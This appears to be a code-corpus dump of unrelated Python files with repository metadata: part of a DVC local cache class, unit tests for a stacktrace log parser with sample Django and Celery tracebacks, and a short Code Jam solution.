clist.append(self.path_to_md5(path)) return clist def get(self, md5): if not md5: return None return os.path.join(self.cache_dir, md5[0:2], md5[2:]) def path_to_md5(self, path): relpath = os.path.relpath(path, self.cache_dir) return os.path.dirname(relpath) + os.path.basename(relpath) def changed(self, md5): cache = self.get(md5) if self.state.changed(cache, md5=md5): if os.path.exists(cache): Logger.warn('Corrupted cache file {}'.format(os.path.relpath(cache))) remove(cache) return True return False def link(self, cache, path): assert os.path.isfile(cache) dname = os.path.dirname(path) if not os.path.exists(dname): os.makedirs(dname) i = len(self.cache_types) while i > 0: try: self.CACHE_TYPE_MAP[self.cache_types[0]](cache, path) return except Exception as exc: msg = 'Cache type \'{}\' is not supported'.format(self.cache_types[0]) Logger.debug(msg) del self.cache_types[0] i -= 1 raise DvcException('No possible cache types left to try out.') def load_dir_cache(self, md5): path = self.get(md5) assert self.is_dir_cache(path) try: with open(path, 'r') as fd: d = json.load(fd) except Exception as exc: msg = u'Failed to load dir cache \'{}\'' Logger.error(msg.format(os.path.relpath(path)), exc) return [] if not isinstance(d, list): msg = u'Dir cache file format error \'{}\': skipping the file' Logger.error(msg.format(os.path.relpath(path))) return [] return d def dump_dir_cache(self, md5, dir_info): path = self.get(md5) dname = os.path.dirname(path) assert self.is_dir_cache(path) assert isinstance(dir_info, list) if not os.path.isdir(dname): os.makedirs(dname) # NOTE: Writing first and renaming after that # to make sure that the operation is atomic. tmp = '{}.{}'.format(path, str(uuid.uuid4())) with open(tmp, 'w+') as fd: json.dump(dir_info, fd, sort_keys=True) move(tmp, path) @staticmethod def is_dir_cache(cache): return cache.endswith(State.MD5_DIR_SUFFIX) def checkout(self, path_info, checksum_info): path = path_info['path'] md5 = checksum_info.get(self.PARAM_MD5, None) cache = self.get(md5) if not cache: Logger.warn('No cache info for \'{}\'. Skipping checkout.'.format(os.path.relpath(path))) return if self.changed(md5): msg = u'Cache \'{}\' not found. File \'{}\' won\'t be created.' Logger.warn(msg.format(md5, os.path.relpath(path))) remove(path) return if os.path.exists(path): msg = u'Data \'{}\' exists. Removing before checkout' Logger.debug(msg.format(os.path.relpath(path))) remove(path) msg = u'Checking out \'{}\' with cache \'{}\'' Logger.debug(msg.format(os.path.relpath(path), md5)) if not self.is_dir_cache(cache): self.link(cache, path) self.link_state.update(path) return # Create dir separately so that dir is created # even if there are no files in it if not os.path.exists(path): os.makedirs(path) for entry in self.load_dir_cache(md5): md5 = entry[self.PARAM_MD5] c = self.get(md5) relpath = entry[self.PARAM_RELPATH] p = os.path.join(path, relpath) self.link(c, p) self.link_state.update(path) def _move(self, inp, outp): # moving in two stages to make last the move atomic in # case inp and outp are in different filesystems tmp = '{}.{}'.format(outp, str(uuid.uuid4())) move(inp, tmp) move(tmp, outp) def _save_file(self, path_info): path = path_info['path'] md5 = self.state.update(path) assert md5 != None cache = self.get(md5) if self.changed(md5): self._move(path, cache) else: remove(path) self.link(cache, path) self.link_state.update(path) return {self.PARAM_MD5: md5} def _save_dir(self, path_info): path = path_info['path'] md5, dir_info = self.state.update_info(path) for entry in dir_info: relpath = entry[State.PARAM_RELPATH] m = entry[State.PARAM_MD5] p = os.path.join(path, relpath) c = self.get(m) if self.changed(m): self._move(p, c) else: remove(p) self.link(c, p) self.link_state.update(path) return {self.PARAM_MD5: md5} def save(self, path_info): if path_info['scheme'] != 'local': raise NotImplementedError path = path_info['path'] if os.path.isdir(path): return self._save_dir(path_info) else: return self._save_file(path_info) def save_info(self, path_info): if path_info['scheme'] != 'local': raise NotImplementedError return {self.PARAM_MD5: self.state.update(path_info['path'])} def remove(self, path_info): if path_info['scheme'] != 'local': raise NotImplementedError remove(path_info['path']) def move(self, from_info, to_info): if from_info['scheme'] != 'local' or to_info['scheme'] != 'local': raise NotImplementedError move(from_info['path'], to_info['path']) def md5s_to_path_infos(self, md5s): return [{'scheme': 'local', 'path': os.path.join(self.prefix, md5[0:2], md5[2:])} for md5 in md5s] def exists(self, path_infos): ret = [] for path_info in path_infos: ret.append(os.path.exists(path_info['path'])) return ret def upload(self, paths, path_infos, names=None): assert isinstance(paths, list) assert isinstance(path_infos, list) assert len(paths) == len(path_infos) if not names: names = len(paths) * [None] else: assert isinstance(names, list) assert len(names) == len(paths) for path, path_info, name in zip(paths, path_infos, names): if path_info['scheme'] != 'local': raise NotImplementedError Logger.debug("Uploading '{}' to '{}'".format(path, path_info['path'])) if not name: name = os.path.basename(path) self._makedirs(path_info['path']) try: copyfile(path, path_info['path'], name=name) except Exception as exc: Logger.error("Failed to upload '{}' tp '{}'".format(path, path_info['path'])) def download(self, path_infos, paths, no_progress_bar=False, names=None): assert isinstance(paths, list) assert isinstance(path_infos, list) assert len(paths) == len(path_infos) if not names: names = len(paths) * [None] else: assert isinstance(names, list) assert len(names) == len(paths) for path, path_info, name in zip(paths, path_infos, names): if path_info['scheme'] != 'local': raise NotImplementedError Logger.debug("Downloading '{}' to '{}'".format(path_info['path'], path)) if not name: name = os.path.basename(path) self._makedirs(path) tmp_file = self.tmp_file(path) try: copyfile(path_info['path'], tmp_file, no_progress_bar=no_progress_bar, name=name) except Exception as exc: Logger.error("Failed to download '{}' to '{}'".format(path_info['path'], path), exc) continue os.rename(tmp_file, path) def _collect(self, checksum_infos): missing = [] collected = [] for info in checksum_infos: md5 = info[self.PARAM_MD5] cache = self.get(md5) if not self.is_dir_cache(info[self.PARAM_MD5]): continue if not os.path.exists(cache): missing.append(info) collected.extend(self.load_dir_cache(md5)) collected.extend(checksum_infos) return collected, missing def gc(self, checksum_infos): used_md5s = [info[self.PARAM_MD5] for info in self._collect(checksum_infos)[0]] for md5 in self.all(): if md5 in used_md5s: continue remove(self.get(md5)) def status(self, checksum_infos, remote, jobs=1): checksum_infos = self._collect(checksum_infos)[0] md5s = [info[self.PARAM_MD5] for info in checksum_infos] path_infos = remote.md5s_to_path_infos(md5s) remote_exists = remote.exists(path_infos) local_exists = [not self.changed(md5) for md5 in md5s] return [(md5, STATUS_MAP[l,r]) for md5, l, r in zip(md5s, local_exists, remote_exists)] def _do_pull(self, checksum_infos, remote, jobs=1, no_progress_bar=False): md5s = [info[self.PARAM_MD5] for info in checksum_infos] # NOTE: filter files that are not corrupted md5s = list(filter(lambda md5: self.changed(md5), md5s)) cache = [self.get(md5) for md5 in md5s] path_infos = remote.md5s_to_path_infos(md5s) assert len(path_infos) == len(cache) == len(md5s) chunks = list(zip(to_chunks(path_infos, jobs), to_chunks(cache, jobs), to_chunks(md5s, jobs))) progress.set_n_total(len(md5s)) if len(chunks) == 0: return with ThreadPoolExecutor(max_workers=len(chunks)) as executor: for path_infos, paths, md5s in chunks: executor.submit(remote.download, path_infos, paths, names=md5s, no_progress_bar=no_progress_bar) def pull(self, checksum_infos, remote, jobs=1): # NOTE: try fetching missing dir info checksum_infos, missing = self._collect(checksum_infos) if len(missing) > 0: self._do_pull(missing, remote, jobs, no_progress_bar=True) checksum_infos += self._collect(missing)[0] self._do_pull(checksum_infos, remote, jobs) def push(self, checksum_infos, remote, jobs=1): md5s = [info[self.PARAM_MD5] for info in self._collect(checksum_infos)[0]] # NOTE: verifying that our cache is not corrupted md5s = list(filter(lambda md5: not self.changed(md5), md5s)) # NOTE: filter files that are already uploaded path_infos = remote.md5s_to_path_infos(md5s) md5s_exist = filter(lambda x: not x[1], list(zip(md5s, remote.exists(path_infos)))) md5s = [md5 for md5, exists in md5s_exist] cache = [self.get(md5) for md5 in md5s] path_infos = remote.md5s_to_path_infos(md5s) assert len(path_infos) == len(cache) == len(md5s) chunks = list(zip(to_chunks(path_infos, jobs), to_chunks(cache, jobs), to_chunks(md5s, jobs))) progress.set_n_total(len(md5s)) if len(chunks) == 0: return with ThreadPoolExecutor(max_workers=len(chunks)) as executor: for path_infos, paths, md5s in chunks: executor.submit(remote.upload, paths, path_infos, names=md5s)
ff4d182ed3b1186ac53818daa268a361f1f782f9
c50d15aa9467949ae7dc69e4505accc85588ca94
/tests/test_python_cmdline.py
52cc5f3cd6dcf7eb4a463a18e626dbf9080df103
[ "Apache-2.0" ]
permissive
trawick/stacktraces.py
f79e65a15a83c53e461366300bccce54b12b9e0b
405f064f09cf8ecb224540e1f10584f236250196
refs/heads/develop
2021-01-21T13:07:25.971437
2018-05-07T20:24:14
2018-05-07T20:24:14
48,593,688
9
3
Apache-2.0
2018-04-30T15:59:50
2015-12-25T23:18:20
Python
UTF-8
Python
false
false
24,992
py
import unittest import pytz import six from stacktraces.python.shortcuts import describe_lines, parse_trace_msg, process_log_file, read_log PYTHON_STACKTRACE = u"""[14/Mar/2015 01:37:05] ERROR [django.request:231] Internal Server Error: /walk/ExYu Traceback (most recent call last): File "/home/trawick/git/walking/envs/walking/lib/python2.7/site-packages/django/core/handlers/base.py", line 111, in get_response response = wrapped_callback(request, *callback_args, **callback_kwargs) File "/home/trawick/git/walking/envs/walking/lib/python2.7/site-packages/django/contrib/auth/decorators.py", line 21, in _wrapped_view return view_func(request, *args, **kwargs) File "/home/trawick/git/walking/src/walking/walks/views.py", line 58, in index forecast = wo.weather_forecast() File "/home/trawick/git/walking/src/walking/walks/models.py", line 81, in weather_forecast city, raw_forecast = w.around(start, 4 * 60 * 60) File "/home/trawick/git/walking/src/walking/walking/weather.py", line 132, in around d = Weather._fetch(uri, self._validate_around_weather) File "/home/trawick/git/walking/src/walking/walking/weather.py", line 42, in _fetch c.request('GET', uri) File "/home/trawick/python-2.7/lib/python2.7/httplib.py", line 995, in request self._send_request(method, url, body, headers) File "/home/trawick/python-2.7/lib/python2.7/httplib.py", line 1029, in _send_request self.endheaders(body) File "/home/trawick/python-2.7/lib/python2.7/httplib.py", line 991, in endheaders self._send_output(message_body) File "/home/trawick/python-2.7/lib/python2.7/httplib.py", line 844, in _send_output self.send(msg) File "/home/trawick/python-2.7/lib/python2.7/httplib.py", line 806, in send self.connect() File "/home/trawick/python-2.7/lib/python2.7/httplib.py", line 787, in connect self.timeout, self.source_address) File "/home/trawick/python-2.7/lib/python2.7/socket.py", line 571, in create_connection raise err error: [Errno 110] Connection timed out""".split('\n') # noqa EXPECTED_PYTHON_STACKTRACE = ( u'1 * [0] Failure was <error: [Errno 110] Connection timed out>\n get_response, ' + u'_wrapped_view, index, weather_forecast, around, _fetch, request, _send_request, endheaders, ' + u'_send_output, send, connect, create_connection, \n' ) class TestPythonStacktrace(unittest.TestCase): def test_describe_python_stacktrace(self): self.assertEqual(describe_lines(PYTHON_STACKTRACE), EXPECTED_PYTHON_STACKTRACE) LOG_FILE_CONTENTS = u""" [14/Mar/2015 01:37:05] ERROR [django.request:231] Internal Server Error: /walk/ExYu Traceback (most recent call last): File "/home/trawick/git/walking/envs/walking/lib/python2.7/site-packages/django/core/handlers/base.py", line 111, in get_response response = wrapped_callback(request, *callback_args, **callback_kwargs) File "/home/trawick/git/walking/envs/walking/lib/python2.7/site-packages/django/contrib/auth/decorators.py", line 21, in _wrapped_view return view_func(request, *args, **kwargs) File "/home/trawick/git/walking/src/walking/walks/views.py", line 58, in index forecast = wo.weather_forecast() File "/home/trawick/git/walking/src/walking/walks/models.py", line 81, in weather_forecast city, raw_forecast = w.around(start, 4 * 60 * 60) File "/home/trawick/git/walking/src/walking/walking/weather.py", line 132, in around d = Weather._fetch(uri, self._validate_around_weather) File "/home/trawick/git/walking/src/walking/walking/weather.py", line 42, in _fetch c.request('GET', uri) File "/home/trawick/python-2.7/lib/python2.7/httplib.py", line 995, in request self._send_request(method, url, body, headers) File "/home/trawick/python-2.7/lib/python2.7/httplib.py", line 1029, in _send_request self.endheaders(body) File "/home/trawick/python-2.7/lib/python2.7/httplib.py", line 991, in endheaders self._send_output(message_body) File "/home/trawick/python-2.7/lib/python2.7/httplib.py", line 844, in _send_output self.send(msg) File "/home/trawick/python-2.7/lib/python2.7/httplib.py", line 806, in send self.connect() File "/home/trawick/python-2.7/lib/python2.7/httplib.py", line 787, in connect self.timeout, self.source_address) File "/home/trawick/python-2.7/lib/python2.7/socket.py", line 571, in create_connection raise err error: [Errno 110] Connection timed out """ # noqa LOG_FILE_CONTENTS_2 = u""" [something-before-exception] Traceback (most recent call last): File "/home/trawick/foo2.py", line 22, in <module> a() File "/home/trawick/foo2.py", line 18, in a b() File "/home/trawick/foo2.py", line 14, in b c() File "/home/trawick/foo2.py", line 10, in c d() File "/home/trawick/foo2.py", line 6, in d raise ValueError('aaa') ValueError: aaa bbb ccc [something-after-exception] """ # noqa LOG_FILE_CONTENTS_3 = u""" [25/Dec/2015 12:59:55] ERROR [django.request:231] Internal Server Error: /admin/walks/walk/add/ Traceback (most recent call last): File "/home/trawick/git/walking/envs/walking/local/lib/python2.7/site-packages/django/core/handlers/base.py", line 111, in get_response response = wrapped_callback(request, *callback_args, **callback_kwargs) File "/home/trawick/git/walking/envs/walking/local/lib/python2.7/site-packages/django/contrib/admin/options.py", line 583, in wrapper return self.admin_site.admin_view(view)(*args, **kwargs) File "/home/trawick/git/walking/envs/walking/local/lib/python2.7/site-packages/django/utils/decorators.py", line 105, in _wrapped_view response = view_func(request, *args, **kwargs) File "/home/trawick/git/walking/envs/walking/local/lib/python2.7/site-packages/django/views/decorators/cache.py", line 52, in _wrapped_view_func response = view_func(request, *args, **kwargs) File "/home/trawick/git/walking/envs/walking/local/lib/python2.7/site-packages/django/contrib/admin/sites.py", line 206, in inner return view(request, *args, **kwargs) File "/home/trawick/git/walking/envs/walking/local/lib/python2.7/site-packages/django/contrib/admin/options.py", line 1453, in add_view return self.changeform_view(request, None, form_url, extra_context) File "/home/trawick/git/walking/envs/walking/local/lib/python2.7/site-packages/django/utils/decorators.py", line 29, in _wrapper return bound_func(*args, **kwargs) File "/home/trawick/git/walking/envs/walking/local/lib/python2.7/site-packages/django/utils/decorators.py", line 105, in _wrapped_view response = view_func(request, *args, **kwargs) File "/home/trawick/git/walking/envs/walking/local/lib/python2.7/site-packages/django/utils/decorators.py", line 25, in bound_func return func.__get__(self, type(self))(*args2, **kwargs2) File "/home/trawick/git/walking/envs/walking/local/lib/python2.7/site-packages/django/db/transaction.py", line 394, in inner return func(*args, **kwargs) File "/home/trawick/git/walking/envs/walking/local/lib/python2.7/site-packages/django/contrib/admin/options.py", line 1404, in changeform_view self.save_model(request, new_object, form, not add) File "/home/trawick/git/walking/envs/walking/local/lib/python2.7/site-packages/django/contrib/admin/options.py", line 1045, in save_model obj.save() File "/home/trawick/git/walking/envs/walking/local/lib/python2.7/site-packages/django/db/models/base.py", line 589, in save force_update=force_update, update_fields=update_fields) File "/home/trawick/git/walking/envs/walking/local/lib/python2.7/site-packages/django/db/models/base.py", line 617, in save_base updated = self._save_table(raw, cls, force_insert, force_update, using, update_fields) File "/home/trawick/git/walking/envs/walking/local/lib/python2.7/site-packages/django/db/models/base.py", line 698, in _save_table result = self._do_insert(cls._base_manager, using, fields, update_pk, raw) File "/home/trawick/git/walking/envs/walking/local/lib/python2.7/site-packages/django/db/models/base.py", line 731, in _do_insert using=using, raw=raw) File "/home/trawick/git/walking/envs/walking/local/lib/python2.7/site-packages/django/db/models/manager.py", line 92, in manager_method return getattr(self.get_queryset(), name)(*args, **kwargs) File "/home/trawick/git/walking/envs/walking/local/lib/python2.7/site-packages/django/db/models/query.py", line 921, in _insert return query.get_compiler(using=using).execute_sql(return_id) File "/home/trawick/git/walking/envs/walking/local/lib/python2.7/site-packages/django/db/models/sql/compiler.py", line 920, in execute_sql cursor.execute(sql, params) File "/home/trawick/git/walking/envs/walking/local/lib/python2.7/site-packages/django/db/backends/utils.py", line 65, in execute return self.cursor.execute(sql, params) File "/home/trawick/git/walking/envs/walking/local/lib/python2.7/site-packages/django/db/utils.py", line 94, in __exit__ six.reraise(dj_exc_type, dj_exc_value, traceback) File "/home/trawick/git/walking/envs/walking/local/lib/python2.7/site-packages/django/db/backends/utils.py", line 65, in execute return self.cursor.execute(sql, params) IntegrityError: duplicate key value violates unique constraint "walks_walk_walk_group_id_key" DETAIL: Key (walk_group_id, walk_datetime)=(ExYu, 2016-01-10 14:30:00+00) already exists. """ # noqa LOG_FILE_CONTENTS_4 = u""" [09/Sep/2014 23:45:54] INFO [requests.packages.urllib3.connectionpool:188] Starting new HTTP connection (1): edjective.org [10/Sep/2014 00:11:01] INFO [requests.packages.urllib3.connectionpool:188] Starting new HTTP connection (1): www.fit-ed.org [10/Sep/2014 02:11:01] INFO [requests.packages.urllib3.connectionpool:188] Starting new HTTP connection (1): www.fit-ed.org [10/Sep/2014 04:11:02] INFO [requests.packages.urllib3.connectionpool:188] Starting new HTTP connection (1): www.fit-ed.org [10/Sep/2014 13:43:32] ERROR [django.request:224] Internal Server Error: /ed/resources/42/ Traceback (most recent call last): File "/home/trawick/git/edurepo/envs/edurepo/lib/python2.7/site-packages/django/core/handlers/base.py", line 112, in get_response response = wrapped_callback(request, *callback_args, **callback_kwargs) File "/home/trawick/git/edurepo/src/edurepo/resources/views.py", line 21, in detail resource = Resource.objects.get(id=resource_id) File "/home/trawick/git/edurepo/envs/edurepo/lib/python2.7/site-packages/django/db/models/manager.py", line 151, in get return self.get_queryset().get(*args, **kwargs) File "/home/trawick/git/edurepo/envs/edurepo/lib/python2.7/site-packages/django/db/models/query.py", line 310, in get self.model._meta.object_name) DoesNotExist: Resource matching query does not exist. [10/Sep/2014 13:43:32] ERROR [django.request:224] Internal Server Error: /ed/resources/42/ Traceback (most recent call last): File "/home/trawick/git/edurepo/envs/edurepo/lib/python2.7/site-packages/django/core/handlers/base.py", line 112, in get_response response = wrapped_callback(request, *callback_args, **callback_kwargs) File "/home/trawick/git/edurepo/src/edurepo/resources/views.py", line 21, in detail resource = Resource.objects.get(id=resource_id) File "/home/trawick/git/edurepo/envs/edurepo/lib/python2.7/site-packages/django/db/models/manager.py", line 151, in get return self.get_queryset().get(*args, **kwargs) File "/home/trawick/git/edurepo/envs/edurepo/lib/python2.7/site-packages/django/db/models/query.py", line 310, in get self.model._meta.object_name) DoesNotExist: Resource matching query does not exist. [10/Sep/2014 13:43:32] ERROR [django.request:224] Internal Server Error: /ed/resources/42/ Traceback (most recent call last): File "/home/trawick/git/edurepo/envs/edurepo/lib/python2.7/site-packages/django/core/handlers/base.py", line 112, in get_response response = wrapped_callback(request, *callback_args, **callback_kwargs) File "/home/trawick/git/edurepo/src/edurepo/resources/views.py", line 21, in detail resource = Resource.objects.get(id=resource_id) File "/home/trawick/git/edurepo/envs/edurepo/lib/python2.7/site-packages/django/db/models/manager.py", line 151, in get return self.get_queryset().get(*args, **kwargs) File "/home/trawick/git/edurepo/envs/edurepo/lib/python2.7/site-packages/django/db/models/query.py", line 310, in get self.model._meta.object_name) DoesNotExist: Resource matching query does not exist. [10/Sep/2014 16:39:37] ERROR [django.request:224] Internal Server Error: /ed/resources/31/ Traceback (most recent call last): File "/home/trawick/git/edurepo/envs/edurepo/lib/python2.7/site-packages/django/core/handlers/base.py", line 112, in get_response response = wrapped_callback(request, *callback_args, **callback_kwargs) File "/home/trawick/git/edurepo/src/edurepo/resources/views.py", line 21, in detail resource = Resource.objects.get(id=resource_id) File "/home/trawick/git/edurepo/envs/edurepo/lib/python2.7/site-packages/django/db/models/manager.py", line 151, in get return self.get_queryset().get(*args, **kwargs) File "/home/trawick/git/edurepo/envs/edurepo/lib/python2.7/site-packages/django/db/models/query.py", line 310, in get self.model._meta.object_name) DoesNotExist: Resource matching query does not exist. [10/Sep/2014 16:39:37] ERROR [django.request:224] Internal Server Error: /ed/resources/31/ Traceback (most recent call last): File "/home/trawick/git/edurepo/envs/edurepo/lib/python2.7/site-packages/django/core/handlers/base.py", line 112, in get_response response = wrapped_callback(request, *callback_args, **callback_kwargs) File "/home/trawick/git/edurepo/src/edurepo/resources/views.py", line 21, in detail resource = Resource.objects.get(id=resource_id) File "/home/trawick/git/edurepo/envs/edurepo/lib/python2.7/site-packages/django/db/models/manager.py", line 151, in get return self.get_queryset().get(*args, **kwargs) File "/home/trawick/git/edurepo/envs/edurepo/lib/python2.7/site-packages/django/db/models/query.py", line 310, in get self.model._meta.object_name) DoesNotExist: Resource matching query does not exist. [10/Sep/2014 16:39:37] ERROR [django.request:224] Internal Server Error: /ed/resources/31/ Traceback (most recent call last): File "/home/trawick/git/edurepo/envs/edurepo/lib/python2.7/site-packages/django/core/handlers/base.py", line 112, in get_response response = wrapped_callback(request, *callback_args, **callback_kwargs) File "/home/trawick/git/edurepo/src/edurepo/resources/views.py", line 21, in detail resource = Resource.objects.get(id=resource_id) File "/home/trawick/git/edurepo/envs/edurepo/lib/python2.7/site-packages/django/db/models/manager.py", line 151, in get return self.get_queryset().get(*args, **kwargs) File "/home/trawick/git/edurepo/envs/edurepo/lib/python2.7/site-packages/django/db/models/query.py", line 310, in get self.model._meta.object_name) DoesNotExist: Resource matching query does not exist. """ # noqa LOG_FILE_CONTENTS_5 = u""" [2016-05-18 01:01:47,614: ERROR/MainProcess] Task a.b.c raised unexpected: WebFault(u"Server raised fault: 'System.Web.Services.Protocols.SoapException: An item with the same key has already been added.\n at Avectra.netForum.xWeb.xWebSecure.netForumXMLSecure.GetQuery(String szObjectName, String szColumnList, String szWhereClause, String szOrderBy) in c:\\Builds\\1\\netForum_Enterprise_Scrum\\NFEP20140102\\Sources\\xWeb\\Secure\\netForumXML.asmx.cs:line 478'",) Traceback (most recent call last): File "/var/www/projectname/env/local/lib/python2.7/site-packages/celery/app/trace.py", line 240, in trace_task R = retval = fun(*args, **kwargs) File "/var/www/projectname/env/local/lib/python2.7/site-packages/newrelic-2.22.1.20/newrelic/hooks/application_celery.py", line 66, in wrapper return wrapped(*args, **kwargs) File "/var/www/projectname/env/local/lib/python2.7/site-packages/celery/app/trace.py", line 437, in __protected_call__ return self.run(*args, **kwargs) File "/var/www/projectname/source/a/b/c.py", line 29, in a_b_c d_e() File "/var/www/projectname/source/a/b/c.py", line 56, in d_e x = f_g_h() File "/var/www/projectname/source/a/b/c.py", line 73, in f_g_h 'xxx yyy') File "/var/www/projectname/env/local/lib/python2.7/site-packages/suds/client.py", line 542, in __call__ return client.invoke(args, kwargs) File "/var/www/projectname/env/local/lib/python2.7/site-packages/suds/client.py", line 602, in invoke result = self.send(soapenv) File "/var/www/projectname/env/local/lib/python2.7/site-packages/suds/client.py", line 649, in send result = self.failed(binding, e) File "/var/www/projectname/env/local/lib/python2.7/site-packages/suds/client.py", line 702, in failed r, p = binding.get_fault(reply) File "/var/www/projectname/env/local/lib/python2.7/site-packages/suds/bindings/binding.py", line 265, in get_fault raise WebFault(p, faultroot) WebFault: Server raised fault: 'System.Web.Services.Protocols.SoapException: Foo. at Avectra.netForum.xWeb.xWebSecure.netForumXMLSecure.GetQuery() [2016-05-18 01:01:48,109: INFO/Worker-208] New Relic Python Agent (2.22.1.20) [2016-05-18 01:01:52,252: INFO/Worker-208] Successfully registered New Relic Python agent where app_name='projectname staging (Celery)', pid=10215, redirect_host=u'collector-128.newrelic.com' and agent_run_id=74273688, in 0.33 seconds. """ # noqa def file_from_string(contents): if six.PY2: import StringIO logfile = StringIO.StringIO(contents) else: import io logfile = io.StringIO(contents) return logfile def output_to_string(): if six.PY2: import StringIO return StringIO.StringIO() else: import io return io.StringIO() class TestPythonLog(unittest.TestCase): def test_simple_logfile(self): logfile = file_from_string(LOG_FILE_CONTENTS) output_buffer = [] for p, traceback_lines in read_log(tracelvl=1, logfile=logfile): output_buffer.append(six.text_type(p)) expected = u"""1 * [0] Failure was <error: [Errno 110] Connection timed out>, at <14/Mar/2015 01:37:05> get_response, _wrapped_view, index, weather_forecast, around, _fetch, request, _send_request, endheaders, _send_output, send, connect, create_connection, \n""" # noqa self.assertEqual(output_buffer, [expected]) def test_another_logfile(self): logfile = file_from_string(LOG_FILE_CONTENTS_2) output_buffer = [] for p, traceback_lines in read_log(tracelvl=1, logfile=logfile): output_buffer.append(six.text_type(p)) expected = u"""1 * [0] Failure was <ValueError: aaa|bbb|ccc>\n <module>, a, b, c, d, \n""" # noqa self.assertEqual(output_buffer, [expected]) def test_yet_another_logfile(self): logfile = file_from_string(LOG_FILE_CONTENTS_3) output_buffer = [] for p, traceback_lines in read_log(tracelvl=1, logfile=logfile): output_buffer.append(six.text_type(p)) expected = u"""1 * [0] Failure was <IntegrityError: duplicate key value violates unique constraint "walks_walk_walk_group_id_key"|DETAIL: Key (walk_group_id, walk_datetime)=(ExYu, 2016-01-10 14:30:00+00) already exists.>, at <25/Dec/2015 12:59:55>\n get_response, wrapper, _wrapped_view, _wrapped_view_func, inner, add_view, _wrapper, _wrapped_view, bound_func, inner, changeform_view, save_model, save, save_base, _save_table, _do_insert, manager_method, _insert, execute_sql, execute, __exit__, execute, \n""" # noqa self.assertEqual(output_buffer, [expected]) def test_parse_trace_msg(self): us_eastern = pytz.timezone('US/Eastern') tests = [ [ '2014-03-06 16:29:21 [4354] [INFO] Worker exiting (pid: 4354)', us_eastern, 'Worker exiting (pid: 4354)', '2014-03-06 16:29:21', '2014-03-06T16:29:21-05:00', ], [ # same as previous, but no time zone information '2014-03-06 16:29:21 [4354] [INFO] Worker exiting (pid: 4354)', None, 'Worker exiting (pid: 4354)', '2014-03-06 16:29:21', '2014-03-06T16:29:21', ], [ '[anything]any-other-thing', us_eastern, 'any-other-thing', None, None ], [ '[14/Mar/2015 01:37:05] ERROR [django.request:231] Internal Server Error: /walk/ExYu', us_eastern, 'Internal Server Error: /walk/ExYu', '14/Mar/2015 01:37:05', '2015-03-14T01:37:05-04:00' ], [ '', None, None, None, None, ], [ 'anything', None, None, None, None, ], [ '[pid: 10876|app: 0|req: 7/7] 45.37.54.3 () {70 vars in 3333 bytes} [Sat Apr 18 21:34:03 2015] GET /walk/ExYu => generated 6134 bytes in 1257 msecs (HTTP/1.1 200) 4 headers in 223 bytes (1 switches on core 0)', # noqa us_eastern, 'GET /walk/ExYu => generated 6134 bytes in 1257 msecs (HTTP/1.1 200) 4 headers in 223 bytes (1 switches on core 0)', # noqa 'Sat Apr 18 21:34:03 2015', '2015-04-18T21:34:03-04:00', ], [ '2015-03-08 12:13:35,086 projectname WARNING Foomessage', us_eastern, 'Foomessage', '2015-03-08 12:13:35,086', '2015-03-08T12:13:35.086000-04:00', ], [ # same as previous, but no milliseconds with timestamp '2015-03-08 12:13:35 projectname WARNING Foomessage', us_eastern, 'Foomessage', '2015-03-08 12:13:35', '2015-03-08T12:13:35-04:00', ] ] for log_line, pytz_timezone, expected_msg, expected_timestamp, expected_isodt in tests: actual_msg, actual_timestamp, dt = parse_trace_msg(log_line, pytz_timezone) self.assertEqual(expected_timestamp, actual_timestamp) self.assertEqual(expected_msg, actual_msg) self.assertEqual(bool(dt), bool(expected_isodt), 'Basic timestamp issue with %s' % log_line) if dt: self.assertEqual(expected_isodt, dt.isoformat()) # Try again with newline at end of message actual_msg, actual_timestamp, dt = parse_trace_msg(log_line + '\n', pytz_timezone) self.assertEqual(expected_timestamp, actual_timestamp) self.assertEqual(expected_msg, actual_msg) if dt: self.assertEqual(expected_isodt, dt.isoformat()) def test_high_level_log_api(self): single_error_message = u'DoesNotExist: Resource matching query does not exist.' single_stacktrace = u'get_response, detail, get, get' output_string = output_to_string() message_counts, stacktrace_counts = process_log_file( file_from_string(LOG_FILE_CONTENTS_4), output_string, output_format='text', include_duplicates=False, include_raw=False, ) self.assertEqual( single_error_message + u'\nget_response, detail, get, get\n\n', output_string.getvalue() ) self.assertEqual([single_error_message], list(message_counts.keys())) self.assertEqual(6, message_counts[single_error_message]) self.assertEqual([single_stacktrace], list(stacktrace_counts.keys())) self.assertEqual(6, stacktrace_counts[single_stacktrace]) def test_wrapped_error_message(self): single_error_message = u""" WebFault: Server raised fault: 'System.Web.Services.Protocols.SoapException: Foo. at Avectra.netForum.xWeb.xWebSecure.netForumXMLSecure.GetQuery() """[1:-1] # noqa single_stacktrace = u'trace_task, wrapper, __protected_call__, a_b_c, d_e, f_g_h, __call__, invoke, send, failed, get_fault' # noqa output_string = output_to_string() message_counts, stacktrace_counts = process_log_file( file_from_string(LOG_FILE_CONTENTS_5), output_string, output_format='text', include_duplicates=False, include_raw=False, ) self.assertEqual( single_error_message + u'\n' + single_stacktrace + '\n\n', output_string.getvalue() ) self.assertEqual([single_error_message], list(message_counts.keys())) self.assertEqual(1, message_counts[single_error_message]) self.assertEqual([single_stacktrace], list(stacktrace_counts.keys())) self.assertEqual(1, stacktrace_counts[single_stacktrace])
7a7dcff347cf0be58c7f7e31b6ad5683d3ad83bb
487ce91881032c1de16e35ed8bc187d6034205f7
/codes/CodeJamCrawler/CJ_16_1/16_1_2_ramesh_srivatsan_file.py
48a62c972a704f3e67df69ac6179a26b29de87ff
[]
no_license
DaHuO/Supergraph
9cd26d8c5a081803015d93cf5f2674009e92ef7e
c88059dc66297af577ad2b8afa4e0ac0ad622915
refs/heads/master
2021-06-14T16:07:52.405091
2016-08-21T13:39:13
2016-08-21T13:39:13
49,829,508
2
0
null
2021-03-19T21:55:46
2016-01-17T18:23:00
Python
UTF-8
Python
false
false
454
py
t = int(raw_input()) for _ in range(t): n = int(raw_input()) l = {} for i in range(2*n-1): pp = str(raw_input()).split() for a in pp: if l.has_key(a): l[a]+=1 else: l[a]=1 li = [] for key, value in l.iteritems(): if value%2!=0: li.append(int(key)) li.sort() li = [str(oo) for oo in li] print('Case #'+str(_+1)+': '+(' '.join(li)))
fe67d0066e94d1d7a237475ee1a475f287a22508
4b87a0de0f43de2bde41f2590faac970c18fe482
/core/migrations/0123_auto_20210210_1037.py
460ef79d8183a699baef11dcc6f3debf78449c3e
[]
no_license
krishSona/testbackend
d0bc325776537d9814b9022b3538b5e8a840e6a4
d87e050d02542c58876d4f81c2ea99815ab4160e
refs/heads/master
2023-04-08T01:26:42.070058
2021-04-03T06:08:54
2021-04-03T06:08:54
354,214,243
0
0
null
null
null
null
UTF-8
Python
false
false
369
